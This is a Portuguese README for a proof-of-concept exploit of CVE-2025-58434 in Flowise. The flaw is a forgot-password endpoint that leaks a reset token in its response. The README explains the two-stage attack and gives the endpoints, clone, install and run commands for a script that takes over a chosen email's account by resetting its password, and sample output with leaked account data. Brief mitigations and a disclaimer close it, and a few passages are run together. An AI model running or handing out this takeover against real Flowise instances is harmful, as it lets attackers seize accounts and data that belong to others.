Prova de conceito de exploração para CVE-2025-58434, demonstrando tomada de conta não autenticada no Flowise através de tokens de redefinição de senha vazados. Inclui ataque em dois estágios: vazamento de token e redefinição de senha.
⚠️ Este repositório é apenas para fins educacionais e pesquisa de segurança autorizada.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal.
O endpoint forgot-password no Flowise (tanto na versão cloud quanto na auto-hospedada) retorna um token de redefinição de senha válido (tempToken) diretamente no corpo da resposta HTTP — sem qualquer verificação de e-mail ou autenticação.
Isso significa que um atacante que conhece (ou consegue adivinhar) o endereço de e-mail de uma vítima pode:
forgot-password → receber o tempToken na resposta JSONtempToken para chamar reset-password → definir uma nova senha arbitráriaNenhum acesso prévio, nenhuma interação do usuário e nenhum acesso ao e-mail são necessários.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS Score | 9.8 (Crítico) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Weak Password Recovery Mechanism |
| Tipo | Bypass de Autenticação / Exposição Indireta a Objetos Inseguros |
| Aplicativo Afetado | Flowise (cloud + auto-hospedado) |
| Endpoint 1 | POST /api/v1/account/forgot-password |
| Endpoint 2 | POST /api/v1/account/reset-password |
O manipulador de forgot-password retorna todo o registro do usuário — incluindo o tempToken gerado — diretamente na resposta da API, em vez de apenas enviá-lo para o endereço de e-mail registrado.
{
"user": {
"id": "<uuid>",
"name": "Nome da Vítima",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<TOKEN_VAZADO_AQUI>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Atacante API Flowise
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (gera tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (senha alterada!) │
│ │
✓ Apropriação de Conta Completa
cloud.flowiseai.com) — confirmadamente afetadoConsulte o repositório oficial do Flowise no GitHub para informações sobre a versão corrigida.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Script PoC principal (ATO em dois estágios)
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
└── DISCLAIMER.md # Aviso legal (leia antes de usar)
requests# Clone o repositório
git clone https://github.com/seuusuario/CVE-2025-58434
cd CVE-2025-58434
# Instale as dependências
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Confirme se a instância é vulnerável e recupere o tempToken sem redefinir nenhuma senha.
python3 cve_2025_58434_poc.py \
--url https://flowise.exemplo.com \
--email [email protected]
Use o token vazado para redefinir a senha imediatamente.
python3 cve_2025_58434_poc.py \
--url https://flowise.exemplo.com \
--email [email protected] \
--reset \
--new-password "MinhaNovaSenha2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.exemplo.com \
--email [email protected] \
--json-output
| Bandeira | Curta | Descrição | Padrão |
|---|---|---|---|
--url URL | -u | URL base da instância Flowise | (obrigatório) |
--email EMAIL | -e | Endereço de e-mail da conta alvo | (obrigatório) |
--reset | -r | Executar Estágio 2: redefinir senha com token vazado | False |
--new-password PASS | -p | Nova senha a definir (usado com --reset) | Changeme@2025! |
--timeout SEGUNDOS | -t | Tempo limite da requisição HTTP | 10 |
--json-output | -j | Imprimir resposta JSON bruta no stdout | False |
[Passo 1] Enviando requisição forgot-password …
[*] Status HTTP : 201
========================================================================
DADOS DA CONTA VAZADOS
========================================================================
ID do Usuário : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Nome : Admin User
Email : [email protected]
Credencial : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtido : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERÁVEL: A instância vaza tokens de redefinição de senha sem autenticação!
Se você é operador de uma instância Flowise, aplique as seguintes mitigações imediatamente:
forgot-password independentemente de o e-mail existir — isso também evita enumeração de contas.forgot-password.| Data | Evento |
|---|---|
| 2025-08-19 | Vulnerabilidade descoberta e reportada |
| A definir | Reconhecimento pelo fornecedor |
| A definir | Patch liberado |
| A definir | Divulgação pública |
Este projeto destina-se exclusivamente a fins educacionais e testes de penetração autorizados.